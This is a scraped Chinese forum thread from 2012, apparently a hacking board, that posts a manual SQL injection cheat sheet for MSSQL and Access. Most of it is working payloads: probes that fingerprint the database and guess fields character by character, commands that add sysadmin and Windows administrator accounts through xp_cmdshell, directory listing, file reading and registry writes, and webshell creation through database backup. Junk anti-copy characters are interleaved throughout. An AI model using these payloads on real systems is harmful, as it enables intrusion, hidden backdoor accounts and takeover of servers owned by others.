找回密码
 立即注册
查看: 2892|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入   s/ |- ?% L4 O0 F
1.判断是否有注入;and 1=1 ;and 1=2 + [0 H1 X3 l0 v' {, |8 R

1 [$ h) E$ y" D# C2.初步判断是否是mssql ;and user>0 , m9 G  t, Z' D3 s+ W

! h" |! S' p0 F; B/ T- j( h$ Q2 Y3.注入参数是字符'and [查询条件] and ''=' 2 n6 \* M& \4 a5 X
' B5 @# X# D: U9 w5 z
4.搜索时没过滤参数的'and [查询条件] and '%25'='
% Q- e) H( [" l, ]6 g2 S# O8 T% f. V
5.判断数据库系统 / q: ^9 U% j- e
;and (select count(*) from sysobjects)>0 mssql
  r$ w* O7 Z4 ^+ O- j;and (select count(*) from msysobjects)>0 access " v, l: H4 r* N: x# B0 {" n( ^

) X, J4 y+ R$ {! Q+ S; A* W/ u6.猜数据库 ;and (select Count(*) from [数据库名])>0 3 h( I! G! I( ]9 b

; B, S' f4 I4 K& [# A+ Z& B7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ( Y" a8 x: U1 K6 ?! o5 O( Y
5 d: ~" G6 Z  h" e2 i# g5 b) v
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 , p3 s0 |% ~7 Q" a2 b) I
4 P& U9 _! E* y+ x+ U+ G+ o
9.(1)猜字段的ascii值(access)
3 m5 o! [  Q% r0 k+ `;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
, r. ~0 J1 I1 m3 }! j+ L- j3 Y* q$ K  _) |3 p
(2)猜字段的ascii值(mssql)
& i) v* n+ r- t6 f/ [;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
2 b& W' I# V3 O( i, ~, I( a4 S, }* o) f8 _, ]
10.测试权限结构(mssql)
7 x+ J9 A8 k7 j1 E. ^3 ~0 S;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
; Q' \; c, ^8 f% n) K;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- & y6 W6 c4 g( U: t7 Y6 R* L# j- J
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
( L. W7 g' ?' X6 n;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- # X# w6 U  ~  y
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
7 R! u' B4 [9 ~% I3 v;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- * ^. Q# F" _9 b
;and 1=(select IS_MEMBER('db_owner'));-- ; D4 w; j9 ~- T$ X' U

9 T" z2 R6 P7 T# F11.添加mssql和系统的帐户
( ^/ T. H) @1 w- z+ T  E1 P;exec master.dbo.sp_addlogin username;--
0 ^+ t$ J0 I9 ]+ l+ b0 N. z: @4 P$ I9 z9 |4 R: n4 R0 K
;exec master.dbo.sp_password null,username,password;--
+ y$ u- e0 N  c- v  }
6 r& c8 `0 n3 x6 A9 j;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 9 V0 y/ F2 L' k+ Z

! x4 N* i, W/ q;exec master.dbo.xp_cmdshell 'net user username password
% [- I( l2 ?/ Y7 o$ c/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
* y: z& e7 |+ \6 Q: ~# M3 V/ O' m2 S/ |5 Y( d7 ]
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 3 @  V' @! _0 r( g( ^

  g7 ?: g7 H. B  o;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ( i5 n0 T8 O  s- n8 R, d  x

. k7 T" Y4 }, j% N12.(1)遍历目录 ' ~1 q8 }2 O2 e! N

% X* A' I+ |: W/ Y$ A; O: A) M;create table dirs(paths varchar(100), id int)
6 a* o( s3 n3 Y. h;insert dirs exec master.dbo.xp_dirtree 'c:\' . L/ z: E0 d( i; X6 t5 ?7 A2 w# y
;and (select top 1 paths from dirs)>0
2 Q4 P/ V+ Q* c8 D;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
  G  b- _7 i1 ]" \  |8 B- n! c, o' D6 Z, M( D$ J* p( W3 e. c
(2)遍历目录
& f7 _3 X# p3 z/ a  H+ C1 k0 R6 W;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
1 L+ U* s$ |% e! O- F7 |;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 - E# W6 |. n: j
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
. [- y) C# u9 q3 s1 n, L8 }5 ?/ K7 \;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构   x0 g7 C- j0 _. z: d1 @8 ~% _2 ?' s
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
, g# Y* c! d# `1 W' L. ]3 [/ g. z: f, L$ q6 H" y* Y& G. X: B
13.mssql中的存储过程
0 {; n! b2 {( n6 M' B' q, S2 N/ A, s! d- U1 V
xp_regenumvalues 注册表根键, 子键
8 B/ R' C9 ~5 j/ |) k/ N4 T# r;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 . S2 g' F+ e+ D" h3 d
: }0 o# }- d( x8 O, [: z
xp_regread 根键,子键,键值名
8 F4 V  j/ v0 ?! R0 o' o% V;exec xp_regread , A1 `9 B$ P3 D1 {. T* [
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1 T  d) B9 g. _8 j0 U: _' B
% j; a" l" V! ~6 o7 O1 b
xp_regwrite 根键,子键, 值名, 值类型, 值
, ~9 N2 x% t, E5 A8 z值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型   p* k! r: k# Z- ]& S2 A
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 + b& o* H1 G. k0 N4 M4 x7 r

6 c; b3 J* [: w: s- e3 p" I. `xp_regdeletevalue 根键,子键,值名 6 {) w2 N7 [5 A& c! M$ I9 p

9 h$ u, |% w( H/ w# Lexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
* o' l; z2 r9 P1 q' I+ U' }; }
. {  P! z  B4 h2 r0 u5 vxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 " c( Y' ]: P% {) C; A, I( i$ F
. b; g( W' d+ f2 }) M
14.mssql的backup创建webshell 3 \% [6 P2 i) ]/ m4 H6 E
use model ! @9 \  \( I/ ]1 v9 G' o2 Y
create table cmd(str image); ( m9 s, ^" f4 e3 R) b; G+ t# [
insert into cmd(str) values ('');
1 z2 ^0 e, Y( fbackup database model to disk='c:\l.asp'; & {0 s9 f9 q2 n8 m* i0 Q- F

2 v0 j  d; |4 a; b( m" X1 M: o2 ]15.mssql内置函数 / }) P) {9 R" \0 s
;and (select @@version)>0 获得Windows的版本号 * D) Z. u7 h) a9 W
;and user_name()='dbo' 判断当前系统的连接用户是不是sa + e, z' B0 a+ U" s8 c' z0 m+ l
;and (select user_name())>0 爆当前系统的连接用户
' j+ e5 U7 N  _8 A. S;and (select db_name())>0 得到当前连接的数据库 # P# p# O7 t& v) \
, s6 s; \$ ^& w0 l# n- b! w; `& S
16.简洁的webshell
1 M1 v, b$ L/ t' k
' f0 z8 N  P; d6 n- L/ R9 T5 uuse model
8 p4 G; s5 ]( |3 e& _4 K
, \% |* r" p) R$ ^) v9 t9 Ycreate table cmd(str image);
2 F6 k1 |+ H4 q1 @
) {: A3 h( ~& b+ e8 q+ o; Ninsert into cmd(str) values (''); 4 Q. R. f5 U5 D' @% ^- W

6 T' a8 f: c$ _2 A: H7 J5 tbackup database model to disk='g:\wwwtest\l.asp';
2 O5 |% v8 z! A5 c' U1 [ . q, E1 ^# ~/ ]3 U" @& q
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表